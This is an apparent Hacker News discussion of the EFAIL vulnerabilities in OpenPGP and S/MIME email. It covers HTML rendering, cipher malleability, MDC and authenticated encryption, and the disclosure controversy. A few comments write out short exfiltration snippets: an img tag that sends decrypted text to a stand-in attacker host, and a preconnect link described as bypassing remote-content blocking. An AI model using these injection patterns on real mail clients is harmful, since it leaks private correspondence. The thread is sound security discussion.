Robert Hansen just sent the following email to the gnupg-users list:
to GnuPG-Users
[taps the mike]
Hi. I maintain the official GnuPG FAQ. So let me start off by
answering a question that is certainly about to be asked a lot: "Should
we be worried about OpenPGP, GnuPG, or Enigmail? The EFF's advising us
to uninstall it!"
Werner saw a preprint of this paper some time ago. I saw it recently.
Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of
respect for the paper authors I will skip further comment until such
time as the paper is published.
It would've been nice if EFF had reached out to us for comment, rather
than apparently only talking to the paper authors. We hope they'll
reach out next time.
I'm reading this message with little context but it doesn't strike me as having reasons not to be worried. The two suggestions are: a) not to use HTML emails, which seems unlikely in practice; b) to use an obscure-sounding mode which has been implemented in such a way as to depend on the MUA doing multiple things correctly after the GPG code runs.
What am I missing here? Is the latter mode on by default and MUA are widely known to correctly deal with the error code in a secure way?
> not to use HTML emails, which seems unlikely in practice
In a context where pgp is used, which is not me receiving promotional material or forwards from Grandma, why do you consider it unlikely that mail is to be sent as plaintext and not as html?
The idea that you can combine full hypertext and security is absurd. IMNHO this is the most significant problem with email (and many "secure" messaging stacks that allow "rich content"). Sure, it's possible to define a secure subset of html (basically bold/italics/underline, tables and headers).
But everyone adds transclusion (in-line rendering of linked content, which leaks data and opens up the door to bugs), fonts (ie: programs), images (historically not a great idea), and some even Javascript!
And that's not even all the muas that runs in the browser, and try to expose some safe subset of itself to be used for rendering the mail body.
So, html Email is insecure, when contrasted with plain text email.
Using pgp as "code signing" for hypertext applications ("html emails") isn't nearly enough.
Sadly, afaik there's no agreed "safe" rich text format for mail. Absurdly rtf would probably be better than html mail.
Anyway, I don't see how anyone could expect html mail to be safe in the first place.
If I'm expecting encrypted email, I don't expect it formatted as HTML, so I can just disable its rendering. At which point the attacker can send it any format they want, my mail client just won't render it.
The parent to my comment says this is unlikely, and I don't understand why. Hence my asking (and now I see I phrased it the opposite way).
The problem is this seems like fragile security -- most mail clients do render HTML, so better make sure that option never gets set to on, or you are hosed.
> a) not to use HTML emails, which seems unlikely in practice
I've always used plaintext when using PGP, same with others who have used it with me... I thought it was standard practice. I don't see the point in using HTML for one-on-one encrypted conversations. HTML is for newsletters and similar content. Although I assume this means "don't use HTML at all in your client, not just for encrypted email".
If I understood correctly, I think this can be prevented by a single configuration change: "Do not automatically load inline content" but this is just speculation.
I'd disable HTML rendering completely until everything becomes clearer.
In the explanation of Table 5 in the paper (page 21), there's a list of attack vectors with the title "HTML attributes (bypasses for remote content blocking)". So apparently some of these attributes do bypass the inline content blocking on some mail clients, unless I read that wrong. It's important to note that most e-mail clients will use a webview to render e-mail. Blocking all kinds of remote content requires the developers to be really careful, and also probably violates the HTML spec.
I tried to replicate the Thunderbird attack vector (H₂), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version?
Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail.
While HTTPS is taking over web traffic, encrypted email could be considered a failure, at this point. I wonder what percentage of emails are encrypted using GPG. Based on my experience it's probably less than 0.001%.
PGP and HTTPS have very different trust models so it's comparing apples to oranges. That being said I agree that PGP failed to gain widespread adoption even though I personally use GnuPG daily and sign all of my emails. I'm still hoping that it'll make a comeback but I'm not holding my breath.
S/MIME uses a trust model similar to HTTPS, is built in to most clients and still has almost zero adoption.
I think the issue is that HTTPS is a pain in the ass for a few, while encrypted email is a pain in the ass for everyone. Between client cert distribution to wonky webmail support to escrow challenges for regulated orgs it requires deliberate effort for all parties forever.
Yeah S/MIME probably overlaps with HTTPS a lot these days, especially in corporate environment where it makes the most sense. Just setup an encrypted connection with the company's messaging platform and you're good.
For personal email GPG is still pretty much the way to go if you don't want to trust any 3rd party though. Few people seem to care about that these days however. The fact that GPG's UI is abysmal doesn't help.
E-Mail needs better tools and better standards than GPG IMO.
For one, GPG tools are difficult to use. Anything beyond a simple 1-click-setup-ready-to-use-including-keyserver-publication will make any wide market adoption difficult.
On the other, the GPG standard is a bit ... clunky. Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own. I imagine other, similar, improvements could be made, up and including having GPG also sign the email headers before pushing it out into the world.
Enigmail is far from friction free and no 1-click setup. I still have to go through key generation last I checked. And then publish those keys or give them to friends.
If PGP/GPG wants adoption they need to eliminate those friction points, a TOFU model with automatic key redistribution should lower friction sufficiently but except TOFU there isn't much development in that direction.
>This is exactly what it is doing. PGP/MIME is a thing.
I don't think I ever received a single PGP/MIME email. I don't think a lot of people use PGP/MIME. It's a niche setting for a niche software.
Your desire for "a TOFU model with automatic key redistribution" is well-founded, and people (including implementers) are trying to do something about this. Check out the Autocrypt project:
Better tools yes, better standards no. There isn't a single production-quality library implementation of the OpenPGP standard; anyone who uses OpenPGP in production ends up with some variant on a crappy 700-line python script wrapping the GPG executable. (There are dozens or hundreds of those out there, every company has their own). I'll never understand what possesses people who aren't up to writing a solid library implementation of the existing standard to believe that they would be capable of coming up with a better new standard, but it's distressingly common.
Error reporting in email clients that support OpenPGP is awful because they all work by some variant of exec-ing the GPG process and piping its input/output, so half the time you'll try to set up PGP and it just won't work. Even when it does work, no extant mail program has yet reached the level of having an actual UI/UX designer spend even a couple of months of work actually trying to make the PGP experience a good one - and why would they when no-one's prepared to pay for it? Security professionals are willing to work for free on things like security audits of the GPG code, because you can get a conference paper out of that, but there's no corresponding channel for usability work.
> Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own.
PGP/MIME already does this. We don't need a new standard. We need to get better at using the standard we have.
Totally agree on it. Autocrypt (https://autocrypt.org/index.html) is looking good as an incremental approach towards an automatic, widespread use of encryption in emails
Let's encrypt wouldn't be nearly as widely used if browsers didn't require https for a lot of new features people want to use, though. And Google will lower the ranking of non-https sites soon, if they haven't already.
Having Let's encrypt available as a free option lets the browser makers force web services to use https, since "anyone can add it, it's free! (Never mind the increased complexity and even more things that can fail and break things in weird ways)".
I suppose it'd be harder to do something similar with email.
Google likes HTTPS, it makes the web safer, and keeps middle-boxes from interfering with their stuf.
However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.
Gmail is essentially e-mail for a lot of people, so what they do matters.
“However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.”
Absolutely. As mentioned in this¹ article:
“Though Google announced that it would stop using consumer Gmail content for ad personalization last July, the language permitting it to do so is still included in its current privacy policy, and it without a doubt still scans users emails for other purposes. Aaron Stein, a Google spokesperson, told NBC that Google also automatically extracts keyword data from users’ Gmail accounts, which is then fed into machine learning programs and other products within the Google family. Stein told NBC that Google also “may analyze [email] content to customize search results, better detect spam and malware,” a practice the company first announced back in 2012.”
So they gave up on the embargo or something? I thought it was supposed to be revealed tomorrow. It's for the best I suppose. I cringed a bit at the custom "efail.de" domain name though, that's so 2017.
I disagree. The encryption system should not know about HTML, and these messages are "BAD MESSAGE"s even if they are unencrypted. That clearly points at the mail client, not the encryption layer.
Well, again, the encryption system will. Or at least it can. (Apparently you can encrypt without signing? WTF use is that? But let's assume signatures are used.) The MIME structure of email is the problem here. It isn't OpenPGP's problem to solve, which we know because there is literally no way for them to solve it. No conceivable (sensible[1]) update to OpenPGP could fix the problem, so it can't be their responsibility.
[1]: I mean, yeah, they could ship something that hacks the Thunderbird process and gets the rest of the email, but that's just crazy talk. Nothing that has a sensible API that fits with what Thunderbird is doing now can solve the problem.
Is there a standard for this? It seems like if you tried to do it by hand, the receiver's UI would present this in a scary/confusing way. I'm imagining instead some sort of "Alan Smithee" User ID which the UI interprets as "deliberately anonymous/disavowable".
It really also just shouldn't support unauthenticated encryption at all. And with authenticated encryption I mean something like chacha20-poly1305 or AES-GCM that gives you authentication on small chunks so it can give the "BAD MESSAGE" output when decrypting from a pipe.
I see how this can be used to exfiltrate an email you’ve sent to others, but th exploit doesn’t seem to show how to exfiltrate private emails between other parties. I mean, it’s an interesting bug, but since the only I can exfiltrate is the contents of plaintext I sent you in the same exploit then it doesn’t seem to leak anything other than any HTML email does.
Sure. Assume you're a state-actor who wants to read someone's email. You can force their ISP to add code to their SMTP server that adds an efail-pixel jacket, but you can't force them to turn over the customer keys.
If I want to decrypt a message to you that I have intercepted I can create my own email containing a modification of the intercepted message and send it to you, causing you to send me the plaintext contents.
That's my understanding as well. Someone could try to make your email client img-src-get the plaintext of previously intercepted mails to a remote server, but it would be a very "noisy" attack: your typical PGP user would very quickly fall into a panic if they received all their old encrypted mail again, and for some reason the client would constantly beg for external image downloads in apparently plain text mails.
Is it just me or does CBC (and block ciphers in general) always seem to be a troublemaker? Even if it's not directly at fault, it seems to always make everything more difficult to secure, and I don't recall ever having heard of a single benefit gained by using them. Why do people insist on using block ciphers instead of stream ciphers? What benefits do they have?
I heard once that people didn't like the regularity of the input of CTR mode. That might be why people back in the day preferred CBC.
These days, the big downside to stream-ciphers is nonce-reuse. It can be hard to guarantee each message has a separate nonce on e.g. embedded platforms.
How can embedded platforms generate IVs but face trouble generating nonces? Aren't IVs also nonces? Or do you mean a different aspect of it is the problem?
In this case (cbc) the IV is the nonce though for some kind of reason people like to mix words and make everyone's life more difficult. As far as I have encountered, almost always the word nonce applies to some randomization and IV is basically the first data into the system, even if it is not random.
Since most embedded platforms have limited entropy and/or no hardware RNG it is more difficult to generate proper distinctive, unpredictable iv's (in the case of CBC). If most of the nonce is random and the rest predictable (like GCM) the same problem applies. The nonce for GCM for instance is at least 8 bytes random in most implementations.
There are enough ways to generate sufficiently randomized iv's. People just don't bother usually. (guess 0 as an iv for instance on many embedded systems).
I think the issue is more that nonce reuse with stream ciphers like GCM result in a more catastrophic failure (i.e. secret key disclosure), whereas reusing the IV with CBC will only disclose whether some plaintext was encrypted multiple times. In an embedded platform where there is no easy way to ensure a nonce is not reused, the potential info disclosure may be preferable.
Both is an about euqally difficult problem, but modes that require a nonce fail much more spectacularly than modes that require an IV.
Typically with a re-used IV the same plain text will lead to the same cipher text, which can be an issue.
On the other hand with a re-used nonce you can basically recover the xor of two plain texts from two cipher texts. This leads to plain text very quickly and is a much more serious issue.
No I wouldn't say that block ciphers are trouble makers in general. Look at RC4 and how badly broken it was. CBC is a mode of operation which works fine, what was fucked in a number of places was the authentication part which is why we don't ship ciphers without authentication nowadays (look at the CAESAR competition for authentication encryption). Stream ciphers without authentication are way easier to exploit that a number of other mode of operations for block ciphers.
I think the really broken thing is not using authenticated encryption ever. In 2018 no one should be using a non-authenticated cipher for anything except teaching about bad ideas.
It's not block ciphers versus stream ciphers. CFB mode is a stream cipher and is implicated in this attack. CTR, the canonical stream cipher, is even more malleable than CBC.
The problem is authenticated versus non-authenticated ciphers. CBC, CTR, and CFB are non-authenticated cipher designs. EAX, GCM, and OCB are authenticated designs.
I've always had S/mime in the back of my mind as an alternative for intranet/internal secure messaging (with optional escrow/archiving) - the assumption being that users would all have certs, there'd be a directory (ldap) - and things would be ok-is(granted metadata would be an issue).
Never had i dreamt that S/mime didn't use a sane authenticated cipher configuration (if only by public key signature wrapping traditional ciphertext).
I mean that was the whole concept of S/mime, right? Federated key/trust and public key cryptography?
To be honest, this is a really bad joke. Not only did they chose to go directly to the media/EFF without even informing the GPG people but they also attacked them[1] for not keeping quiet. Not to mention all the fud that was spread for an issue that is not even caused by GPG but by bad clients (in fact I am not aware of any client that is vulnerable to this). Shame both to the publishers of this and to the EFF for helping the spread of the FUD without even consulting the GPG people.
It's not. The MDC-stripping attack on PGP is very well known --- it's obvious from the structure of the protocol. The paper you're citing uses it to build a direct plaintext recovery attack similar to a padding oracle. Today's paper uses ciphertext malleability to inject active content that exfiltrates the plaintext.
It however confirms that the OpenPGP devs had no knowledge of an embargo, and thus didn't break any embargo. Sebastian Schinzel claimed they had to publish early because the embargo broke.
As far as I understand it, the earliest communication was 2017/11/24, which they addressed as it appeared that GnuPG wasn't vulnerable as it would fail with an error message when processing the exploit as it was known in November.
A few days later, they got an email asking for a phone call, which wasn't followed up upon--I'm not sure to what extent this is GnuPG's fault, whether this is a usual way of communicating a serious vulnerability. It would've been better if they called em back, definitely goes for both parties.
Then after a few months of silence, 2.5 weeks ago, they received another email with a different title that, according to Werner Koch, was too redacted to act upon:
On 2017-11-29 we got a short mail asking for a phone call. It might be
that I did not reply to that but in any case my office phone number is
easy to lookup. I did not get a phone call.
Since then we have not seen any more communication - not even about the
proposed coordinated public disclosure. Thus I closed this issue in
December and forgot about it.
On 2018-04-27 I received another paper via a Kmail developer which had a
different title than the one from November
*** DO NOT PUBLISH OR SHARE ON PUBLIC MAILING LISTS ***
Efail: Breaking S/MIME and OpenPGP Email Encryption using
Exfiltration Channels
and no author names etc. The GnuPG team discussed this but did not see
that any action was required. In particular because due to the
redaction we were not able to contact and help the developers of other
MUAs which might be affected.
I mean yeah, in theory, BOTH parties could have been better at communicating and following up on it. But both parties are probably very busy and this kind of "no you call me back" is the sort of thing that falls through if you have to make choices about what to spend limited time on. That's why there exists protocol and coordination to tell something is really serious/urgent.
It does seem to me that the security researchers were a bit too trigger-happy on the redacting of information, in particular unnecessarily so in private emails to the security folk they expected to act on the vulnerability.
Maybe they forgot about it, or assumed that it was a different vulnerability especially since the original was a non-issue. Not a terrible thing to assume when the last communication with them was 6 months ago and they did not bother to give them the new paper.
IMHO, the only unethical part on the side of the researchers is that they spread the whole "GPG is vulnerable!" FUD and went directly to the media when they had been informed that this is not a GPG issue beforehand. The other unethical part is that the EFF and the media companies did not bother to take GPG's side of the story.
I can see how it would work against Apple Mail/iOS Mail since they load HTML and external elements by default.
I would be interested to see the attack working on a Thunderbird client with Enigmail installed and no other settings changes (like; loading external resources).
Thunderbird disables remote loading by default. It's vulnerable only if you take measures to override this, which is to say, you either:
1. Use movemail to receive email instead of IMAP or POP (there's an interesting vector to get your remote resources loaded by using movemail. If you read the code, you can probably guess it).
2. Enable remote loading for all senders by default.
3. Try to send an email with a sender you think will be whitelisted.
Since the exploit depends on sending manipulated emails, I think that 3. and 4. are pretty easy, since it'll look like the email is from a trusted sender (and encrypted)
From the paper: "For example, in Thunderbird and Postbox we can completely redress the UI with CSS and trick the user into submitting the plaintext with an HTML form if he clicks somewhere into the message."
This is bad news. Also, they claim/suggest that the following:
<link href="http://efail.de" rel="preconnect">
is a "bypass for remote content blocking" in Thunderbird, whatever that may mean exactly.
EDIT: Mozilla's docs at https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types say about preconnect: "Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly." (emphasis mine). If that is really the spec and I understand it correctly and Thunderbird behaves differently, then that seems like a bug in Thunderbird.
Allowing preconnects when remote resource loading is disabled would be a serious security fail, so I hope that's not what Thunderbird is doing. Suppose I initiated a connection to long-unique-identifier.mysite.com? At minimum this could be used for tracking beacons, possibly even to exfiltrate data.
This is the weird part. Sure, Outlook 2007 and Apple Mail are vulnerable, but if you are really parsing untrusted HTML with these clients you probably have more pressing problems (running arbitrary code, perhaps).
From a quick test it seems like a completely standard Thunderbird/Enigmail not only checks the error code from gpg, but also doesn't render HTML by default. There must be something more to this, unless something was fixed quite recently, in which case that would seem very relevant to the announcement.
From what I've read, I thought that in modern cryptographic methods you always authenticate and encrypt, in part to avoid attacks like this where an attacker can modify the encrypted message in some way.
Does this mean that GnuPG and S/MIME don't authenticate/sign encrypted messages at all? Or that email clients still try to display encrypted messages that are not properly authenticated?
- only-encrypted (not signed) message (signing is good practice),
- clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)
- client that rendered HTML mail with broken markup,
- client that automatically fetches remote resources.
> only-encrypted (not signed) message (signing is good
> practice),
Or the client decrypts it even if unsigned, or the attacker signs the message.
> clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)
I think the client would not only need to use MDC, but also enforce its presence and validity, which is somewhat more likely to allow an attack.
> client that rendered HTML mail with broken markup,
The HTML5 specification defines exactly how HTML inputs should be processed for nearly every possible input, so this applies to any HTML5 compliant email client.
> client that automatically fetches remote resources
I have this turned off in my client, but many email users these days (possibly even those using GPG) have settings to automatically download remote content.
"To decrypt the emails, he first manipulates their ciphertext
by using appropriate malleability gadgets." - so if you use triple wrapping as per https://www.ietf.org/rfc/rfc2634.txt you are safe. e: To make the claim more precise: you must drop messages which are not triple wrapped and those which are triple wrapped, but inner signer is different from the outer signer.
> EFAIL describes vulnerabilities in the end-to-end encryption technologies OpenPGP and S/MIME that leak the plaintext of encrypted emails.
I don't understand how this is being touted as vulnerabilities in OpenPGP and S/MIME.
Sure there is undefined behavior in the OpenPGP and S/MIME standards but if implementations choose an insecure behavior for the undefined behavior, then it is a flaw in the implementation, not the standard.
It's been mentioned by other comments here[0] that the team / group / individual(s) behind this paper didn't even contact the underlying development teams prior to publishing. The whole thing looks like they want to be able to say "yeah we uncovered xyz vulnerability" which they kind of could of, if they had just explained it's relevant to implementation and didn't attack the wrong projects in the process. There seems to be some level of unprofessional conduct[1] coming from the people writing the paper as well where they attack the projects on Twitter to try and silence them when their claims are refuted.
This is false, and you should be embarrassed to have repeated it publicly.
If you'd even taken the time to look at the Efail.de website, you'd see the (extensive) timeline of contacts the Ruhr team made, including liasing with CERT teams, starting last year.
The use of CBC without proper authentication sounds like a flaw in the standard to me. Especially the line in the FAQ about being able to create a fresh valid signature for an altered ciphertext is not good.
The "create a fresh valid signature" part talks about creating a new signature with the attacker's identity. Sure, technically it's a valid signature but it won't fool anyone regarding the message's authenticity. This is trivially possible for all schemes where you can detach the signature from the message.
You should not be able to detach the signature when you're using an encryption mode with known-plaintext attacks. If you're not going to make decryption depend on having the original signature, at least use an encryption mode where any changes scramble the rest of the plaintext. Unauthenticated CBC is not acceptable.
>talks about creating a new signature with the attacker's identity
Wait, if the signature isn't created with the same key as the message encryption, how does this even work? Shouldn't the client fail to either decrypt the message or validate the signature?
Aren't the point of the standards to ensure there is no room for security holes? It seems kind of strange to make the security dependant on the implementation. Imo, it should be impossible to implement the standard in an insecure way.
This isn't undefined behavior. This is malleability. Attackers get to change some parts of the plain text without needing to know the encryption key.
This is very much an issue with the S/MIME standard, which has no defence against this kind of attack. For PGP it is slightly different, as there is a defense against it (the 'MDC', a sha-1 hash of the plaintext) but it has a soft-fail if the MDC is not present.
Both are issues with the standard. For S/MIME it is a total failure, whilst for PGP the failure is mitigated slightly by an obscure and non-urgent error message. But, it is unreasonable to expect users to act on this kind of error message. Really, what you want here is a hard fail, but that would break backwards compatibility.
Most clients incorporate Authenticated Encryption but since some don't work well with it, it is not a decrypt failure if not present. It should be and solves the problem as per what Koch said [1].
If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret.
GPG does optionally support signing, which provides for integrity for message contents, but it is optional, so is not a useful mitigation here.
It supports a Modification Detection Code (MDC), which is just a hash of the message. In scenarios where GPG won't decrypt without an MDC being present, it would be a reasonable defence against this attack, because to generate a valid MDC, you would need to know the entire contents of the message, and if you know the entire contents of the message, you wouldn't gain anything from this attack.
> If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret.
Other than anonymity, non-repudiation is a possibility. I may not want the recipient of my messages to be able to undeniably prove what I said to them. This case is important if I'm saying unflattering things about a mutual friend, or my messages could be read as admitting a crime, etc.
That's an incredibly weak vulnerability. HTML images, seriously? Who the hell autoloads HTML images in email in 2018? If you don't autoload images, you're safe - so for example on Thunderbird, everyone is safe by default. This is not a big deal at all.
As if a brand name, logo and website were not enough, even the white paper title is cringy clickbait: "Efail: Breaking S/MIME and OpenPGP Email Encryption using
Exfiltration Channels".
OpenPGP is not broken. Nothing in your paper has anything to do with OpenPGP. This is simply spreading overblown FUD for your 15 minutes of mainstream media fame.
I don't even understand why they needed to tease the thing one day in advance with measures that were so weird that nobody knew what to expect. "Stop decrypting email", right, super convenient and totally appropriate given the actual vulnerability. Next time maybe they'll say "don't touch your mouse until further notice". What difference would it have made if they had simply published this website straight away? Seemed like they were releasing the teaser for the next Captain America movie or something.
This reminds me a bit of the "amdflaws" debacle, although that one was even shadier and might have been an attempt at manipulating AMD's stock price.
The comparison with amdflaws seems unfair. My understanding is that while they demonstrate a flaw in some email clients, it would be enough for an attacker to exploit one vulnerable target amongst the recipients to retrieve the plaintext email. Given that one cannot confirm whether others have taken appropriate steps, this vulnerability seems serious enough, no?
The amdflaws were real vulnerabilities too. The problem in both cases is that they messed up the disclosure so badly (in the case of amdflaws probably purposefully, here probably simply by mistake and maybe hubris) that you end up talking more about the disclosure than the problem itself.
This one day "teaser" makes no sense from a security perspective, especially when it fails to actually tell you the proper way to mitigate the attack (no, "do not use PGP or S/MISE" is not a reasonable mitigation for people who actually rely on these technologies, especially when you can mitigate the attack by changing your settings or using a different client). Saying that PGP and S/MIME themselves are broken when it's mainly (but not entirely) a MUA problem is also rather disingenuous.
amdflaws were "if you have admin access, you have admin access". This is "oh shit, mail clients / crypto plugins will stitch together '<img src="' + decrypted content + '">' and send your secrets to the attacker". Sounds much more serious.
Amdflaws was more like "if you have admin access you can backdoor the secure boot infrastructure" while this is "if an attacker manages to intercept an encrypted HTML email and send it to you modified and you use a MUA with dubious security setting with regards to HTML then you're at risk".
The issues are so different that it's probably pointless to try to rank them by severity. I personally always considered that HTML email was a terrible idea security-wise so the idea of HTML PGP sounds a bit like putting mustard on pasta. That being said the PGP/SMIME implementations really ought to detect tampering and error out in this situation, it's always better to fail early.
But it isn't a crypto attack at all. Gpg is doing what it is supposed to do, and the overall cryptography is not effected. It's bad clients that are the problem.
It strips the PGP MDC and then uses a malleability attack on CFB or CBC to inject content, but it's not a crypto attack? You have a definition of "crypto attack" that nobody in the field uses.
To be fair, a very large part of this attack is not about PGP at all. That part is about abusing email-client rendering of partly encrypted messages, and abusing S/MIME to get message malleability again exploited via HTML.
Again, this is like saying that BEAST isn't really about TLS, because you need a particular combination of client features to exploit it. The two attacks are almost exactly analogous in this respect. But PGP has a cheering section, and TLS doesn't.
I mean that the first attack (having A PGP encrypted middle of an email that the client just expands to plaintext) and the attack on S/MIME have nothing to do with PGP mistakes in PGP at all.
The gadget attack on PGP is completely an exploit against PGP, but this publication also treats other attacks. At the very least, if you weigh this by volume of text, they focus a lot on pure client mistakes (first attack) and S/MIME (half of second attack).
Even setting aside that this is an excellent example of how toxic the security community is, the real problem here is that HTML email is a steaming pile of crap. The number of vulnerabilities introducted by the mind bogglingly stupid idea of putting HTML in emails is staggering. You're better off only reading plaintext emails and sending the rest to /dev/null. Bonus: this gets a good deal of spam out of your inbox!
If true, that's great news. There are plenty of decent cli/desktop clients that make it easy to avoid html mail. Not so for Android, where apps seem likely to wrap some rich content control in order to render text (as html).
Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker.
Example :
<img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--
If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.
Anyway, the attacker still need to get a hand on your encrypted email.
What about attack vectors like this one (from the paper)?
For example, in Thunderbird and Postbox
we can completely redress the UI with CSS
and trick the user into submitting the
plaintext with an HTML form if he clicks
somewhere into the message.
That sounds like something that can easily happen, even with remote content disabled.
Yes, but that's probably something most people won't do (with the prevalence of HTML email and no plaintext alternative). Also, it was a reply to the parent who stated "If you disable remote content, it can't be exploited on thunderbird".
Ruling out the presence of an exfiltration channel is hard. It's better to prevent rendering of messages with invalid authentication code in the first place (and not rendering it and showing a warning).
> Anyway, the attacker still need to get a hand on your encrypted email.
That is the case for all encryption vulnerabilities, and it seems a little strange that you keep pointing this out. Of COURSE the attackers need access to the encrypted text; the entire point of encryption is because we want to protect our data when someone else has access to it.
If we thought an attacker getting their hands on our encrypted email was not something to worry about, we wouldn't encrypt our emails at all. Why do you keep making that point?
The problem is that decrypting software will do: "Here's the message and some 'extra stuff'".
Now, this 'extra stuff' might not be HTML, might be something which might trigger something else. I really do not know but some smart guy might figure out how to exploit that part. Or might not.
It's not exactly PGP's security model, but:
- if you use SMTP-via-TLS and (IMAP/POP/MAPI)-via-TLS, attackers really can't intercept your mail
- unauthenticated encryption still protects your mail spool at rest.
Of course, attackers gaining access to your mailbox is still game over, due to password resets etc. via e-mail; but "attackers can't intercept your mail" is a more realistic assumption in 2018 than it was when PGP was designed.
Not necessarily. Mail can be intercepted when transferred between MTAs which seem to be often vulnerable to STARTTLS stripping due to a fallback mechanism. See "Neither Snow Nor Rain Nor MITM... An Empirical Analysis of Email Delivery Security"[1].
> No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error.
So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke?
As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.
So what would you expect GPG to do when invoked to operate on a pipe (rather than a file¹)? Buffer (possibly) gigabytes of decrypted data in memory, just to be able to discard it once DECRYPTION_FAILED is detected?
Aren’t modern ciphers checksummed and authenticated blockwise? If so, you could just abort the moment you see a broken block. Anything before that block would not be under the attackers control and harmless.
Modern AE schemes are designed to make it easy to quickly abort the whole decryption operation as soon as an error is detected. But the PGP protocol is from the 1990s, and uses vanilla CBC or CFB and then tacks the SHA-1 hash of the plaintext to the end of the message in a separate record.
The issue there is that if you call something PGP, people expect backwards compatibility, but if you switch to a different mode of encryption that becomes a massive pain.
Good old SSH managed to update ciphers. This is certainly easier if Server and client can negotiate, but it’s not impossible for GPG. You could start by adding better modes as an option, later make them default and ask for confirmation when decrypting an old message format. If I read the vulnerability description correctly, it allows stripping the message authentication signature and then trick the client into decoding it. So any message sent with a modern cipher or just requiring message authentication by default would have substantially mitigated the attack.
It is possible, but note that SSH is interactive and always had multiple ciphers. On PGP, as far as I can tell, there is no field for the cipher used. So you somehow need to introduce that field somewhere, but be able to deal with files that do not have that field. Possible but very tedious. The non-interactivity seems like it makes it harder to 'negotiate' a version. As there is no way to get clarification.
At the same time, you need to be careful against downgrade attacks.
Sure, as I mentioned, it’s easier if you can negotiate ciphers. But on the upside, there’s no downgrade attack. If the sender uses a modern cipher, the receiver either supports it or can’t decode the message. Still, that’s not a hard reason to not introduce protocol changes like new ciphers and a new field. Funny that you mention that since currently GPG on my Ubuntu spits out warnings about some feature it does not understand in files encrypted with a newer GPG on my fedora. This actually trips up some of my tooling.
Either GPG buffers the data and checks for DECRYPTION_FAILED, or the application depending on GPG does. Of the two options, it makes much more sense for GPG to handle this.
The application is likely better equipped to do something reasonable if temporarily storing lots of data is in order.
Still, GnuPG could do the buffering automatically for small messages and force explicit configuration otherwise. The latter might not be realistically enforcable given the compatibility constraints.
It might be prudent to have GnuPG return an error exit code instead of just printing a warning on stderr. Currently, it seems that clients (at least when using the shell interface) are supposed to parse the error stream. And even when they do (which many probably don’t), it’s not necessarily obvious that the presence of warnings indicates to the client that the data should not be used.
It should split it in chunks and authenticate each one of them. Then the worst attack would be the ability to truncate the file, and it could be at least detected.
Unfortunately this is not supported by the PGP spec, or any other well established spec.
What's happened here is that GPG has used the OpenPGP spec as excuse to support extremely insecure default behavior. In reality, GPG can simply buffer and check before writing to stdout, and, in the rare cases where messages are too large to buffer, a flag can be used to override the secure default.
I'm not super psyched to see 1990s crypto vulnerabilities used as an opportunity to promote hipster schemes that literally nobody uses. Virtually all modern cryptosystems handle this problem already.
AEAD was also a hipster scheme that literally nobody used. That's the whole point.
In Twitter you even linked to Adam Langley's post where he suggests something exactly like STREAM/CHAIN!
Which modern cryptosystems handle this problem? Tahoe-LAFS is the only one that comes to mind. Not being snarky here, I'm genuinely interested in knowing this.
Modern TLS uses AEAD in the form of ChaCha20-Poly1305 as well as AES-GCM. I believe that the current standards in AEAD for ciphers are GCM-mode, EAX-mode and OCB-mode (CCM-mode is also used but only because it has no patents while OCB does -- CCM is more complicated and doesn't have some nice properties that OCB has).
All of the cipher suites I mentioned can be used with at-rest data (including ChaCha20-Poly1305, and AES-{GCM,EAX,OCB}), which means that there's nothing stopping PGP from adding support for them.
But since you asked, the offline backup software restic[1] uses AEAD (though it's a mix of AES-256-CTR and Poly1305 rather than AES-GCM[2] -- but it's still an AEAD construction). I also recently started working on a paper-backup project, and used ChaCha20-Poly1305 over PGP because of the lack of AEAD (and also because it is vulnerable to surreptitious forwarding -- something that AEAD also solves[3]).
There are distinctions between online and offline protocols (mainly related to PFS), but whether or not AEAD-capable cipher suites can be used is not one of them.
AEAD is not enough. How do you decrypt/verify a 100 GB file with AEAD, without disclosing unauthenticated plaintext in a single pass? You need streaming AEAD like STREAM or CHAIN.
I'm not sure I understand. In OCB (or any other AEAD) there is a single MAC for the entire ciphertext. You can't decrypt&verify large data in a single pass.
You are completely right that for some constructions (such as ChaCha20-Poly1305, AES-CCM, and possible AES-GCM) there is only a single MAC for the entire ciphertext.
However that is not true for other constructions. AES-OCB is a single-pass cipher that has a MAC for each block (this is actually the main selling feature of OCB). (AES-EAX also has a MAC for each block too, but is two-pass.)
Also, STREAM/CHAIN are also AEAD, so your generalisation can't be always true.
Function name:
OCB-ENCRYPT
Input:
K, string of KEYLEN bits // Key
N, string of no more than 120 bits // Nonce
A, string of any length // Associated data
P, string of any length // Plaintext
Output:
C, string of length bitlen(P) + TAGLEN bits // Ciphertext
Only a single tag, exactly like CCM and GCM. Am I missing something?
It depends on what you call "AEAD", of course. For me it's something that generates a single MAC. STREAM/CHAIN can then be used with an underlying AEAD (GCM, CCM, OCB, SIV) to create a "streaming AEAD" that generates multiple chunks, each one of them with a MAC.
I'll be honest, I was going off the Wikipedia description of the algorithm.
